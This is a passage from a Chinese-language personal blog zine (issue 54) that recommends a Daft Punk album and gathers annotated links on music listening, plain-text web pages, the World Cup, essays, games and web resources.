Zine#54 - 世界杯、純文本、隨機頁面、巫師三

<div id="content" class="content e-content"> <header> <h1 class="title p-name">Zine#54</h1> <p class="subtitle" role="doc-subtitle">世界杯、純文本、隨機頁面、巫師三</p> </header> <p> 🎶 Random Access Memories - Daft Punk </p> <style> .lyric-card p { color: #dfc971; text-shadow: 0 0 5px #fff; background: linear-gradient(to left, transparent, #080d0e); & b { color: #b2c6e4; text-shadow: 0 0 5px #b2c6e4; } } </style> <p> 這期分享一張電子樂専輯,Daft Punk 的 <i>Random Access Memories</i> ,封面歌詞選的是専輯里我比較喜歡的一首 <i>Giorgio by Moroder</i> 。 </p> <p> Daft Punk 我早有耳聞,也聴過一些他們的歌,但之前都欣賞不來,聴的不多。前陣子看了 Hopico 的直播,聊天結束後周杨不斷翻黑胶放歌切歌,聴著聴著就聴到了 <i>Giorgio by Moroder</i> ,Giorgio 有點年迈的聲音回憶著過往,當他說完「My name is Giovanni Giorgio, but everybody calls me Giorgio.」電子樂響起,我就被這首歌擊中了,開始體會到 Daft Punk 的好聴之处。之後也下載了他們主要的専輯都聴了聴,也都挺喜歡的,是好聴、耐聴的電子樂。或許你聴 Daft Punk 一開始也欣賞不來,那也沒關系,或許以後某天突然聴到了,會喜歡也不定,總之不用勉強自己。 </p> <p> <i>Giorgio by Moroder</i> 中 Giorgio 的录󠄃音大致可以分成三段,對應不同的年齡階段,录󠄃製時是用不同年代的麦克風录󠄃製的。編曲上也很丰富,有電子樂,弦樂,還有合成器,以及精彩的鼓點,風格上跨越了 Funk、欧陆电子音乐、爵士电钢琴与吉他演奏、电影感管弦乐、低音吉他独奏、摇滚吉他与 Acidic 电声合奏,虽然整首曲子有 9 分,但聴起來一點不無聊。录󠄃音的 <a href="https://en.wikipedia.org/wiki/Giorgio_Moroder">Giorgio Moroder</a> 是一位義大利作曲家和唱片製作人,被譽為「迪斯可之父」。關於 <i>Giorgio by Moroder</i> 也可以看看 Zora Ruen 寫的 <a href="https://twostorymelody.com/giorgio-by-moroder/">Reflecting on “Giorgio by Moroder” After Daft Punk Break Up</a>。 </p> <p> Random Access Memories 整張都蠻好聴的,如果喜歡 <i>Giorgio by Moroder</i> ,不妨把専輯找來聴聴。如果你想聴點東方風味的電子樂,也可以聴聴 YMO (Yellow Magic Orchestra),他們的 <i>BEHIND THE MASK</i> 、 <i>東風</i> 、 <i>中国女</i> 都不錯, <i>Multiplies</i> 那張専輯也很好玩。 </p> <div id="outline-container-10F97AE9-44D8-41EE-ACCA-8845A5D9B698" class="outline-2"> <h2 id="10F97AE9-44D8-41EE-ACCA-8845A5D9B698"><a href="#10F97AE9-44D8-41EE-ACCA-8845A5D9B698">News | Article</a></h2> <div class="outline-text-2" id="text-10F97AE9-44D8-41EE-ACCA-8845A5D9B698"><ul class="org-ul"> <li><p> <a href="https://takeonrules.com/2026/06/27/on-listening-to-an-entire-album/">On Listening to an Entire Album</a> by Jeremy Friesen </p> <p> Jeremy 收了一套不錯的音響設備,然後重新聴起了 CD,音樂讓他想起了一些人和事。聴 CD 會讓他能够完整地聴完一張専輯,而不是急著切歌,讓他重新找回了那種専心聴歌、欣賞一張専輯的心情。 </p> <p> 流媒體確實很便利,也是因為便利,人們也變得没耐心,一首歌還没聴多久可能就厭了,不斷切歌;流媒體也不那麼注重専輯的概念,更多的是包含許多單曲的歌單。像是 CD 播放器,切専輯要換碟,這一點點的摩擦反而促使了人們去聴完一張専輯。 </p> <figure> <a href="images/zine/54/shanling-h5.webp"><img src="images/zine/54/shanling-h5.webp" alt="shanling-h5.webp" loading="lazy" class="float-end"></a> <figcaption><span class="figure-number">&#22270;1&nbsp; </span>山灵 H5 和綠聯的蓝牙傳輸器</figcaption> </figure> <p> 我現在聴歌也更似向於聴専輯,當我聴到一首喜歡的單曲,我會把對應的専輯也找來聴聴,往往在専輯里找到其它喜歡的歌,也通過専輯介紹對歌曲多一些了解。 </p> <p> 我也傾向於將専輯下載下來聴,我有一個播放器 (<a href="https://www.shanling.com/product/4678">山灵 H5</a>),它可以讀取 TF 存儲卡, 256 G 的大小己經被我塞进去百來張専輯了,全都是 flac 格式的,也才用了一半左右的空間,平時就接到音響上聴,因為播放器操作起來不是那麼方便,很多時候我就是選張専輯讓它順序播下去,里面都是我喜歡的専輯,可以一直聴下去,也不會覺得厭。不過它有個缺點是不支持蓝牙發送,只支持接收,出門就只能用有綫耳機,僅管有綫可以无損,但不太方便,後來我買了個綠聯的蓝牙傳輸器(有點不穩定),現在也能連 airpods 聴了。 </p> <p> 我也還是會用流媒體,主要是網易雲音樂,偶尔從每日推薦里發現一些新歌,有時出門想輕便點也能應付一下,更多時候還是用播放器聴下好的専輯。 </p> <p> 另見: <a href="https://www.geedea.pro/article/got-flac/">去营地整点 FLAC</a> by Eltrac </p></li> <li><a href="https://wiwi.blog/blog/eight-laws-of-learning/">學習的八個法則</a> by Wiwi <ul class="org-ul"> <li>解釋(explanation)</li> <li>示範(demonstration)</li> <li>模仿(imitation)</li> <li>重複(repetition)</li> <li>重複(repetition)</li> <li>重複(repetition)</li> <li>重複(repetition)</li> <li>重複(repetition)</li> </ul></li> <li><p> <a href="https://wiwi.blog/blog/4-useless-music-facts/">四個沒用的音樂小知識 ✦BBP7✦</a> by Wiwi </p> <p> 沒用但有趣。 </p></li> <li><p> <a href="https://wiwi.blog/blog/low-key-features/">偷偷加入的功能</a> by Wiwi </p> <p> Wiwi 給網站新增了「純文字版」,交互和閱讀起來都還不錯。 </p> <p> 在 <a href="47.html#74F8D37B-89F6-4A37-964D-8B9C368C1ACB">Zine#47::A small collection of text-only websites by Terence Eden</a> 里我也提到過純文本頁面,當時也做了相關實現,讀者可以將 URL 的 <code>.html</code> 後綴替換為 <code>.org</code> 就能得到原始的 org 文件,也是一種純文本格式,但這樣用起來還是有點麻煩,能够直接點擊打開會更方便。我的博客是用 org-publish <sup><a id="fnr.1" class="footref" href="#fn.1" role="doc-backlink">1</a></sup>构建的,之前一直不知道在 <code>:html-postamble</code> (對應頁面的 Footer 部分) 如何获取頁面的 URL,看了 Wiwi 的文章後我也想做一個可點擊的連結,看了看相關代碼,發現可以傳入一個凾数,凾数里可以获取到頁面的 URL,於是現在你可以在頁面底部點擊連結,获取當前頁面的純文本格式了。 </p> <p> 考慮過將連結放在頂部,但從閲讀體驗上說,我認為我現在的頁面樣式比純文本更好,更易讀,我現在的樣式其實和純文本相近,也足够干净簡洁。覺得純文本比原頁面更好閱讀,可能是因為 HTML 本身設計得有些複雜,有太多干擾閱讀的元素,如果 HTML 本身足够簡洁,閲讀體驗還是优於純文本的。純文本大概也没那麼多人用,所以暂時還是先放在㡳部,有需要的話可以直接把滾動條拉到㡳部或點擊鍵盤上的 <kbd>End</kbd> 去到頁面㡳部找到純文本連接,不嫌麻煩也可以手動將 URL 中的 <code>.html</code> 換成 <code>.txt</code> 或 <code>.org</code> 获取。 </p> <p> Wiwi 的純文本是不包含連結的,從他的純文本中看不出哪些文字上有連接,他也移除了文本標記,不得不說,這樣閱讀起來更好,更清晰。我的純文本也移除了文本標記,但保留了連接,這樣如果讀者有需要也能找到對應的連結。不妨體驗一下純文本版本,有問題或建議歡迎給我發邮件。 </p></li> <li><p> <a href="https://anotherdayu.com/football2026/">那个从不看球的人开始看球</a> by Another Dayu </p> <p> 我不是足球迷,也不懂足球,但也愛看點球賽。喜歡的球隊是利物浦和拜仁,前者是因為 The Beatles,愛屋及烏;后者是因為喜歡隊標和球衣,從我喜歡的理由也能看出我是個偽球迷。 </p> <p> 世界杯也看了,希望能进决賽的球隊都被淘汰了,葡萄牙、克罗地亚、埃及、挪威,球賽很精采,但可能實力和運氣都還差一點。阿根延、英格兰和法國是真厲害,西班牙感覺還差點,我覺得冠軍很可能還是阿根延。 </p> <p> 一支球隊能挺进决賽,首先是本身實力就強,每個球員的能力、彼此之間的默契、战術的部置和执行、候补球員的停備等都是實力的一部分,进入四強的球隊國家本身也是足球盛行的國家,實力上也更有优势。其次就是運氣,但更重要的還是本身實力,實力強才能在機會來的時候把握住。 </p> <p> 世界杯馬上就要結束了,今年看得還是挺開心的。儘管只有一個人在看,但看直播就感覺在和全世界的球迷一起看,直播也有魅力,永遠不知道下一刻會發生什麼,倒計時的絕殺、决定生死的點球都讓人激動。 </p></li> <li><p> <a href="https://yangbear.bearblog.dev/8982/">請、謝謝、對不起</a> by YangBear </p> <blockquote> <p> 就拿最簡單的「請、謝謝、對不起」來說。大概是世上最無用的詞語。這些東西都只是讓自己好過。「請」情勒對方只好幫忙,「謝謝」後好像就一切都沒有發生過,「對不起」讓不原諒變成不大度。 </p> <p> <a href="https://yangbear.bearblog.dev/8982/#:~:text=%E5%B0%B1%E6%8B%BF%E6%9C%80%E7%B0%A1%E5%96%AE%E7%9A%84%E3%80%8C%E8%AB%8B%E3%80%81%E8%AC%9D%E8%AC%9D%E3%80%81%E5%B0%8D%E4%B8%8D%E8%B5%B7%E3%80%8D%E4%BE%86%E8%AA%AA%E3%80%82%E5%A4%A7%E6%A6%82%E6%98%AF%E4%B8%96%E4%B8%8A%E6%9C%80%E7%84%A1%E7%94%A8%E7%9A%84%E8%A9%9E%E8%AA%9E%E3%80%82%E9%80%99%E4%BA%9B%E6%9D%B1%E8%A5%BF%E9%83%BD%E5%8F%AA%E6%98%AF%E8%AE%93%E8%87%AA%E5%B7%B1%E5%A5%BD%E9%81%8E%E3%80%82%E3%80%8C%E8%AB%8B%E3%80%8D%E6%83%85%E5%8B%92%E5%B0%8D%E6%96%B9%E5%8F%AA%E5%A5%BD%E5%B9%AB%E5%BF%99%EF%BC%8C%E3%80%8C%E8%AC%9D%E8%AC%9D%E3%80%8D%E5%BE%8C%E5%A5%BD%E5%83%8F%E5%B0%B1%E4%B8%80%E5%88%87%E9%83%BD%E6%B2%92%E6%9C%89%E7%99%BC%E7%94%9F%E9%81%8E%EF%BC%8C%E3%80%8C%E5%B0%8D%E4%B8%8D%E8%B5%B7%E3%80%8D%E8%AE%93%E4%B8%8D%E5%8E%9F%E8%AB%92%E8%AE%8A%E6%88%90%E4%B8%8D%E5%A4%A7%E5%BA%A6%E3%80%82%E6%9B%BE%E7%B6%93z">Source</a> </p> </blockquote></li> <li><p> <a href="https://brennan.day/you-must-you-must-you-must/">You Must, You Must, You Must</a> by Brennan Kenneth Brown </p> <p> 「Memento Mori」是一句著名的拉丁語: </p> <blockquote> <p> 「Memento」是「meminisse」(記住)的命令式,而「mori」是「morior」(死)的現在不定式。 </p> <p> 這句話字面上的翻譯是「記住去死」或「留心死亡」。 </p> </blockquote> <p> 翻譯有的譯作「記住,你將會死去」,有的譯作「記住,你必須死去」,但兩者給人的感覺是不同的,前者在陳述一個事實,後者還強調了去死是一種義務。 </p> <blockquote> <p> 「必須」更接近斯多葛學派 (Stoics) 的原意。對於塞內卡 (Seneca) 和馬可·奧勒留 ( Marcus Aurelius) 來說,將死亡置於視野中的目的並非病態的預測,絕非如此。<span class="underline">其核心在於,優雅地死去是一種修行,是一項與優雅地生活同等的責任。</span><span class="underline">「必須」找回了那種「作為參與的必然性」:</span><span class="underline">這不僅是會發生在你身上的事,也是對你的要求,而你如何面對它,則由你來回答。</span>「必須」也呼應了古老斯多葛學派關於 ananke(必然性)的觀點 ⸺ 必然性是宇宙的秩序,而非你個人的不幸。 </p> <p> 「將會」使死亡成為你個人的宿命;「必須」則使死亡成為萬物皆須遵循的法則,而你僅僅是無法例外。 </p> </blockquote> <p> memento mori. </p> <p> memento amoris. </p> <details> <summary>摘录</summary> <blockquote> <p> 我必須死。我現在必須活著並自食其力。我必須允許失去的悲慟頻繁且誠實地在我的體內跳動。 </p> <p> 任何沒有刻意關注的事物都處於流失的過程中。當我們長時間不練習時,技能就會喪失。不進則退。酸種麵包會變質,我們勞動的果實會腐爛,就像伊甸園的種子一樣。我們必須行動,我們必須急起直追。如果我不寫作,那麼當我離世時,那裡就沒有文字留下。正如艾略特 (Eliot) 在《荒原》(The Wasteland) 中提醒我們的: </p> <p class="verse"> I didn’t mince my words, I said to her myself,<br> HURRY UP PLEASE ITS TIME<br> <br> 我直言不諱,親自對她說:<br> 快點吧,時間到了<br> </p> <p> 較少被提及的是,我們的人際關係也並無二致。我們的社交紐帶正隨著時間流逝而衰減,就像物質在熵增中消亡一樣。我們始終處於失去所愛之人的過程中。人與人之間的連結始終需要維護、撫慰與滋養。 </p> <p> 多麼奇特的刺痛感。苦澀的茶葉,在公園裡散步,女人們在那裡走來走去,談論著米開朗基羅。 </p> <p> 正如我之前提到的,電影 <i>28 Years Later</i> 中出現了骨廟,而凱爾森博士在銀幕上向一個名叫斯派克的男孩解釋道:<i>memento mori</i> ,記住我們終將死亡,是的。但他還教了另一句話, <i>memento amoris</i> 。 </p> <p> 記住,我們必須去愛。 </p> <p> <a href="https://brennan.day/you-must-you-must-you-must/#:~:text=UP-,I,must%20love">Source</a> </p> </blockquote> </details></li> <li><p> <a href="https://schafe-sind-bessere-rasenmaeher.de/posts/an-album-for-every-year/">An album for every year</a> by Robert Lützner </p> <p> 一個不錯的博客寫作主題: </p> <ul class="org-ul"> <li>列出你出生以來每一年的其中一張專輯</li> <li>該專輯必須是在同年發行的</li> <li>專輯可以是你認為當年最棒的作品,或是對你有某種意義的</li> </ul> <p> See also: <a href="https://aetheranne.ca/blog/music/an-album-from-each-year-of-my-life/">An Album From Each Year of My Life</a> by Aether Anne </p></li> <li><p> <a href="https://david.shortfiction.online/flight-of-the-bumblebee">Flight of the Bumblebee</a> by David </p> <p> 對大黄蜂的觀察。 </p></li> <li><p> <a href="https://kwon.nyc/notes/coffee/">Coffee</a> by Rachel </p> <p> Coffee is so good! 我同意。 </p></li> <li><p> <a href="https://kwon.nyc/notes/sheep/">Sheep</a> by Rachel </p> <p> Rachel 的一段徙步見聞。 </p></li> <li><p> <a href="https://scolarcardiff.wordpress.com/2026/06/10/of-the-beginning-decorative-initials-in-cardiffs-rare-books/">“Of the beginning”: decorative initials in Cardiff’s rare books</a> by Ken Gibb </p> <blockquote> <p> 幾個世紀以來,中世紀的抄寫員會用精緻的開首字母裝飾手稿,這些字母通常塗上鮮豔的色彩並以金箔點綴。卡地夫(Cardiff)的許多早期印刷書籍也包含類似的裝飾性首字母,有些是印刷而成的,有些則是手工添加的。這些美麗的字母具有實用功能,能幫助讀者在複雜的文本中導航;它們比其餘文本更大且更華麗,可用於標記單詞、章節或段落的開頭。「Initial」(首字母)一詞本身源自拉丁語 initiālis,意為「開始」。 </p> <p> <a href="https://scolarcardiff.wordpress.com/2026/06/10/of-the-beginning-decorative-initials-in-cardiffs-rare-books/#:~:text=For,beginning%E2%80%99%2E">Source</a> </p> </blockquote> <p> 文章分享了一些書上的裝飾首字母,蠻好看的,也挺有趣。中文書籍似乎没有這種首字裝飾的文化,如果在網頁上實現的話,看起來用圖片是最簡單的。 </p> <section role="note" id="orge53fc8f"> <p> </p> <p> 好奇中文有没有這種文化,於是問了 Kagi Assistant,在它的 thinking 里可以看到它使用的搜索關鍵字,如果是我自己用 Kagi 搜索,我可能想不到這些關鍵字,也是可以从 Kagi Assistant 的使用的搜索關鍵字里學到一點搜索技巧。 </p> </section></li> <li><p> <a href="https://francescrossley.com/leaving-my-garden-for-a-week/">Leaving my garden for a week</a> by Frances </p> <p> 有個花园真不錯。 </p></li> <li><a href="https://alexsirac.com/a-decade-of-lily/">A decade of Lily</a> by Alex</li> <li><a href="https://anniemueller.com/posts/in-which-poetry-saves-my-soul">In which poetry saves my soul</a> by Annie</li> <li><p> <a href="https://vhbelvadi.com/photographers-who-inspire-me">Photographers who inspire me</a> by V.H. Belvadi </p> <blockquote> <p> 當你看一張照片時,不應該問自己這拍的是什麼,或者其中的幾何構圖在哪裡,以便為欣賞這件作品尋找某種理由。相反,你應該去 <i>感受</i> 一張照片,如果你感覺自己喜歡它,那就是你對任何人所需要做的全部解釋。 </p> <p> <a href="https://vhbelvadi.com/photographers-who-inspire-me#:~:text=When%20you,anyone">Source</a> </p> </blockquote></li> <li><p> <a href="https://rknight.me/blog/hemispheric-views-juneboree-2026/">Hemispheric Views June-Boree 2026</a> by Robb Knight </p> <p> <a href="https://june.hemisphericviews.com/">June-Boree</a> 是一個橫跨整個月份、由 30 個獨特挑戰組成的挑戰,這篇文章記录󠄃了作者的进度,看起來蠻有趣的。 </p></li> <li><p> <a href="https://wangcong.org/2026-06-30-why-i-stopped-arguing-with-people.html">Why I Stopped Arguing With People</a> by CongWang </p> <p> 推薦看原文。 </p> <details> <summary>作者减少与人爭吵,原因是</summary> <ul class="org-ul"> <li><p> <b>正確並不總是好事</b> </p> <p> 有人正確就要有人錯誤,這會造成對立,也沒有解决問題。 </p></li> <li><p> <b>大多數爭論關乎自我,而非觀點</b> </p> <p> 如果對方不是在和你針對觀點討論,而是在捍衛自我,你們其實不在爭論,這衹是一場關於誰的自尊能保持完好的戰鬥。 </p></li> <li><p> <b>人並非理性的動物</b> </p> <p> 當對方用感受而不是理性、邏輯与你爭論,也是無意義的。 </p> <blockquote> <p> 你是在用證據去對抗感覺。證據無懈可擊,但感覺根本不看證據。 </p> </blockquote></li> <li><p> <b>糾正他人鮮少能真正幫助他們 &amp; 唯一的例外:當他們主動請求時</b> </p> <p> 衹有當對方主動向你寻求帮助時,你的建議對方才會聴进去。 </p> <blockquote> <p> 大多數人根本不從建議中學習,他們是從後果中學習。他們必須親自碰過火爐才行。言語只是耳邊風,痛苦才會刻骨銘心。 </p> </blockquote> <p> 另見: <a href="https://musingsfromatangledmind.com/2026/06/23/life-advice-humorous/">Since You Asked</a> by Musings from a Tangled Mind </p></li> <li><p> <b>你只能改變你自己</b> </p> <p> 我們衹能改變自己,或許也能影響他人。 </p> <p> 結合上面說的「糾正他人鮮少能真正幫助他們 &amp; 唯一的例外:當他們主動請求時」,當自己主動詢求帮助時,自己往往能聴进去,所以,保持謙遜,放下自我意識 (Ego),多去詢問,認真傾聴,去改變自己,變得更好。 </p></li> </ul> </details></li> <li><p> <a href="https://animalcare.lacounty.gov/news/unicorns-and-magic-wishes/">Unicorns and Magic Wishes</a> by Marcia Mayeda </p> <p> 一個温暖的故事。 </p></li> <li><p> <a href="https://thepulp.org/missoula-walmart-cake-decorators/">The unhinged cake decorators at a Missoula Walmart</a> by Emma McDowell </p> <p> 有趣的蛋糕裝飾。 </p></li> <li><p> <a href="https://lazybea.rs/ovr-072/">Over/Under #72 with Yannick Schutz</a> by Hyde </p> <p> 喜歡關於冲印照片和 ipod 的話題。 </p> <p> Over/Under 是一個人物訪談系列,類似的還有 <a href="https://zacharykai.net/notes/pb/">People And Blogs</a>,都是發現新博客的好去处。 </p></li> <li><p> <a href="https://www.wired.com/story/this-buried-apple-feature-turns-an-iphone-into-the-perfect-kids-dumb-phone/">This Buried Apple Feature Turns an iPhone Into the Perfect Kids’ Dumb Phone</a> by Jeremy White </p> <p> 家長擔心孩子太小,接觸太多社交媒體不好,但像是用屏幕使用時間去限製使用又很容易繞過限製。作者發現 iPhone 的 Accessibility 下 的 Assistive Access 功能正好能滿足需要,能限製使用的應用,也不容易繞過,適合作為儿童模式。如果想限製自己手機的使用,也可以用用看。 </p></li> <li><p> <a href="https://landedstar.com/blog/posts/rejection-emails-should-be-written-like-error-messages/">Rejection Emails Should Be Written Like Error Messages</a> by Justin </p> <p> 如果我面試不過就直說,而不是給我發一兩百字的邮件,把壞消息藏在第二段的中間,還要我看半天。不,把重要信息放在開頭,別過度強調禮貌和友善而忽視了清晰度。 </p> <p> 我想在拒絕別人時也應該如此,不用含糊其辭,直接告訴對方自己的决定,對彼此都更好。 </p> <p> 讓拒絕來得更直接些吧。 </p></li> <li><p> <a href="https://bluepika.life/blog/train-trip-product-design-details">TRAIN TRIP 的产品设计细节</a> by Bluepikachu </p> <p> Train Trip 是一個收集日本 JR 站数字印章的應用,印章蠻好看的。國內也可以搞一個類似的產品,一定很多人去打卡。 </p> <p> 可以聴著 <a href="https://www.yamanote.fun/">Yamanote.fun</a> 閲讀,里面是日本 JR 里的進站音樂、廣播、開關門提示音和列車行駛聲 :) </p></li> <li><p> <a href="https://blog.playstation.com/2026/07/01/physical-disc-production-ending-in-january-2028-for-new-games-releasing-on-playstation-consoles/">In response to shifting trends in consumer preference, new games will be released on PlayStation Store and at retailers in digital formats only.</a> </p> <p> 索尼計劃 2028 年取消生產實體碟,以後買游戏,買的就不是所有权而是使用权了,真是開倒車。實體版買了可以二手賣了,也可以分享給朋友,但数字版是和帳號強綁定的,就沒法再流通了,<a href="https://www.reddit.com/r/videogames/comments/1sybtzu/30_days_limit_for_playstation/">数字版還要定期聯網驗証才能玩</a>,唉。 </p> <p> See also: <a href="https://www.bilibili.com/video/BV1gSNu6bE62?t=60.5">【STN 快报第 8.5 季 13】在大学打游戏将不再被称为不务正业</a> (31:15) by STN 工作室 </p></li> </ul> </div> </div> <div id="outline-container-FD03BB81-0B7A-4E06-90DD-00632637A363" class="outline-2"> <h2 id="FD03BB81-0B7A-4E06-90DD-00632637A363"><a href="#FD03BB81-0B7A-4E06-90DD-00632637A363">Cool Bit</a></h2> <div class="outline-text-2" id="text-FD03BB81-0B7A-4E06-90DD-00632637A363"><ul class="org-ul"> <li><p> <a href="https://handwritten.danieljanus.pl">handwritten.danieljanus.pl</a> </p> <p> 手寫的博客,酷! </p></li> <li><p> <a href="https://choicebeat.wordpress.com/">ChoiceBeat</a> </p> <p> 一本製作精良的雜誌,主要是關於游戏的。 </p> <blockquote> <p> 做得好!你發現了 ChoiceBeat 的秘密基地,這是一本關於視覺小說與互動式小說的雜誌。本刊物涵蓋了來自世界各地、以文字為主且注重選擇的數位遊戲。深入探索其中的文章、評論、訪談,以及任何與新舊視覺小說、互動式小說、敘事遊戲、全動態影像(FMV)遊戲及任何相關主題的內容。 </p> </blockquote></li> <li><p> <a href="https://cooltech.zone/tangara/">Tangara</a> </p> <blockquote> <p> Tangara 是一款可攜式音樂播放器。它透過 3.5mm 耳機插孔或藍牙輸出高品質音訊,擁有優異的電池續航力,並搭載了強大到足以支援任何音訊格式的處理器。它同時也是 100% 的開放硬體,運行開源軟體,這使其易於自定義、維修與升級。無論你想聽什麼、想怎麼聽,Tangara 都能滿足你的需求。 </p> </blockquote></li> <li><p> <a href="https://webcurios.co.uk/">WEB CURIOS</a> </p> <p> 一份周更的期刊,一個巨大的 <a href="https://en.wikipedia.org/wiki/Wiki_rabbit_hole">兔子洞</a>,比我不定期更新的 Zine 內容還多,內容也很有趣。去訂閱 WEB CURIOS 吧! </p> <p> 如果還嫌不够看,你可以在 <a href="https://hamatti.org/posts/thoughts-on-making-zines-after-7-months/">Thoughts on making zines after 7 months</a> by Juha-Matti Santala 找找感興趣的 Zine。 </p> <p> <a href="https://webcurios.co.uk/about/">About</a> 里的一些 FAQ 也適用於我寫的 Zine: </p> <blockquote> <p> <b>為什麼內容這麼長?</b> </p> <p> 聽著,網路上東西就是這麼多,這不是我的錯。 </p> <p> <b>說真的,你到底想讓我怎麼讀完這堆東西?</b> </p> <p> 你不必全部讀完!把 Web Curios 想像成一個菜色過於豐富的自助餐 ⸺ 你不必每樣都吃,而且很多人會說嘗試吃光所有東西是不明智的。略讀一下,點擊任何聽起來感興趣的內容,看看它會帶你到哪裡。 </p> <p> <b>如果只有連結,去掉那些令人厭煩、過度修飾的散文風格,這東西會好得多。</b> </p> <ol class="org-ol"> <li>這不是個問題</li> <li>這些文字是你免費獲得這些內容所付出的代價;接受它吧。</li> </ol> </blockquote></li> <li><p> <a href="https://capturetheatlas.com/milky-way-photographer-of-the-year/">The 2026 Milky Way photographer of the year</a> </p> <p> 年度銀河攝影,欣賞一下美丽的銀河。 </p></li> <li><p> <a href="https://songshapes.dev/">Song Shapes</a> </p> <p> 作者用一張圖描述一首歌的印象,蠻有趣的。不過大多数歌我都不熟悉,不能看懂作者表達的意思,能看懂的是 <a href="https://songshapes.dev/the-beatles-hello-goodbye/">The Beatles - Hello, Goodbye</a>,蠻形象的。 </p></li> <li><p> <a href="https://diegodotta.itch.io/birdj">BirdDJ</a> </p> <p> 好玩!用鳥的聲音來組成旋律。 </p></li> <li><p> <a href="https://roland50.studio/">Roland50 Studio</a> </p> <blockquote> <p> Roland50 Studio 是由 Yuri Suzuki 和 Roland 共同創建的線上音樂創作平台「808303.studio」的重大更新。 </p> <p> 這是一個具有專業音質的線上音樂介面,可以記錄您的傑作,並讓您透過社群媒體、通訊軟體以及下載的方式分享您的創作。 </p> </blockquote> <p> 好玩。頁面提供了好几種合成器,瞎點几下弄個節拍也挺好聴的。 </p></li> <li><p> <a href="https://listen.hatnote.com/">Hatnote Listen to Wikipedia</a> </p> <blockquote> <p> 聆聽維基百科最近更改饋送的聲音。鈴聲表示增加,撥弦聲表示刪減。音調隨編輯大小而變化;編輯規模越大,音調越深沉。 </p> </blockquote> <p> 可以當作白噪音聴。 </p></li> <li><p> <a href="https://bilgetbd.itch.io/walk">Walk</a> </p> <p> 一個游戏 Demo,玩著有點上頭。 </p> <blockquote> <p> 我和我的伴侶非常喜歡散步。因此,我想製作一款受我們日常漫步啟發的小遊戲!這基本上是我們一年來日常散步的精華版。 </p> <p> 我們每天做的平凡小事,像是買杯咖啡或走下樓梯,在這裡都變成了互動式的迷你場景。遊戲中共有超過 40 個場景等著你去發現! </p> <p> 遊玩這些場景可以獲得積分,你可以用積分來解鎖新的場景。 </p> </blockquote></li> <li><p> <a href="https://choochoowords.chyuang.com/">Choo Choo Words</a> </p> <p> 組詞鋪路,單詞量积累够多的話可以玩玩看。 </p></li> <li><p> <a href="https://www.neatorama.com/2026/06/19/1930s-Equivalent-of-Car-GPS-Navigation/">1930s Equivalent of Car GPS Navigation</a> </p> <p> 1930年代相當於汽車 GPS 導航的裝置,還挺有趣。 </p></li> </ul> </div> </div> <div id="outline-container-9EC3D5B2-322C-4596-A3C1-0A3E19D8CB1F" class="outline-2"> <h2 id="9EC3D5B2-322C-4596-A3C1-0A3E19D8CB1F"><a href="#9EC3D5B2-322C-4596-A3C1-0A3E19D8CB1F">Tutorial | Resource</a></h2> <div class="outline-text-2" id="text-9EC3D5B2-322C-4596-A3C1-0A3E19D8CB1F"><ul class="org-ul"> <li><p> <a href="https://standardebooks.org/">Standard Ebooks</a> </p> <blockquote> <p> Standard Ebooks 是一個由志願者驅動的專案,製作公有領域電子書的新版本。這些電子書經過悉心排版、開源、不受美國版權限制且完全免費。 </p> </blockquote></li> <li><p> <a href="https://www.oldbookillustrations.com/">Old Book Illustrations</a> </p> <p> 收集維多利亞時代和法國浪漫主義插圖的網站。 </p></li> <li><p> <a href="https://www.reddit.com/r/firefox/comments/1curqyd/redirecting_all_reddit_links_to_oldredditcom/">Redirecting all reddit links to "old.reddit.com" : firefox</a> </p> <p> 如果你更喜歡用旧版 Reddit 可以設置一下。 </p></li> <li><p> <a href="https://thecreativeindependent.com/">The Creative Independent</a> </p> <blockquote> <p> The Creative Independent (TCI) 是一個不斷成長的資源庫,為創意人士提供情感與實務上的指引。我們由公益企業 Kickstarter 資助,且不含任何廣告。我們透過訪談、智慧結晶和指南,由執業藝術家(包括作家、音樂家、設計師、視覺藝術家等)親自講述,揭示創意生活中的磨難與喜悅。我們的目標是啟發並壯大創作社群。 </p> </blockquote></li> <li><p> <a href="https://github.com/protesilaos/aporetic">protesilaos/aporetic</a> </p> <blockquote> <p> Aporetic fonts are a custom build of Iosevka with different style and metrics than the default. This is the successor to my <a href="https://github.com/protesilaos/iosevka-comfy">Iosevka Comfy</a> fonts. </p> </blockquote> <p> 我喜歡 Iosevka 字體,Protesilaos 基於 Iosevka 調整的 Aporetic 也不錯,我將 Emacs 的默認字體設置為了 Aporetic。 </p> <blockquote> <p> Aporetic 在小字號可用性的首要限制下,優化了字形間與風格間的一致性。字形輪廓通常較為圓潤,且經過系統性挑選,既能呈現可預測的節奏感,又能保持所有字元彼此清晰可辨。 </p> <p> 正體與斜體風格的設計旨在使其比預設的 Iosevka 更具一致性且不那麼誇張,同時保留其獨特品質。 </p> </blockquote> <figure> <a href="images/zine/54/aporetic.webp"><img src="images/zine/54/aporetic.webp" alt="aporetic.webp" loading="lazy"></a> <figcaption><span class="figure-number">&#22270;2&nbsp; </span>aporetic 字體示例,其中英文字體是 aporetic,中文字體是 I.Ming。</figcaption> </figure></li> <li><p> <a href="https://victorianweb.org/">The Victorian Web</a> </p> <p> 一個歷史悠久的學術網站,<a href="https://victorianweb.org/misc/vwintro.html">了解更多</a>。 </p></li> <li><a href="https://perthirtysix.com/how-the-heck-do-solar-panels-work">How The Heck Do Solar Panels Work?</a> by Shri Khalpada</li> <li><p> <a href="https://brennan.day/a-full-guide-to-properly-delete-corporate-social-media-accounts/">A Full Guide to Properly Delete Corporate Social Media Accounts</a> by Brennan Kenneth Brown </p> <p> 如果你打算刪除 Facebook、Messenger、Instagram、WhatsApp、Threads、X、Reddit 和 Discord 的帳號,這篇文章提供的建議或許能帮到你。 </p></li> <li><p> <a href="https://pradyuprasad.com/writings/how-to-ask-for-help/">How to ask for help from people who don't know you</a> by Pradyumna Prasad </p> <details> <summary>摘录</summary> <blockquote> <p> 你該如何向人尋求幫助?只有一個原則: <b>設身處地為對方著想。</b>所有良好的溝通都建立在對讀者心理的理解之上。因此,當你向不認識的人尋求幫助時,我有幾點建議。 </p> <p> <b>要記住的一個準則是:幫助是關於「人」的,其次才是關於「項目」。</b>當你向某人尋求幫助時,他們是否願意協助你的項目,取決於他們是否想幫助你。因此,你應該清楚地表明你是一個值得幫助的人。展現自己值得幫助的最有力方式之一,就是 <b>證明你是一個認真的人</b> 。 </p> <p> <a href="https://pradyuprasad.com/writings/how-to-ask-for-help/#:~:text=How%20do,person%2E">Source</a> </p> </blockquote> <blockquote> <p> 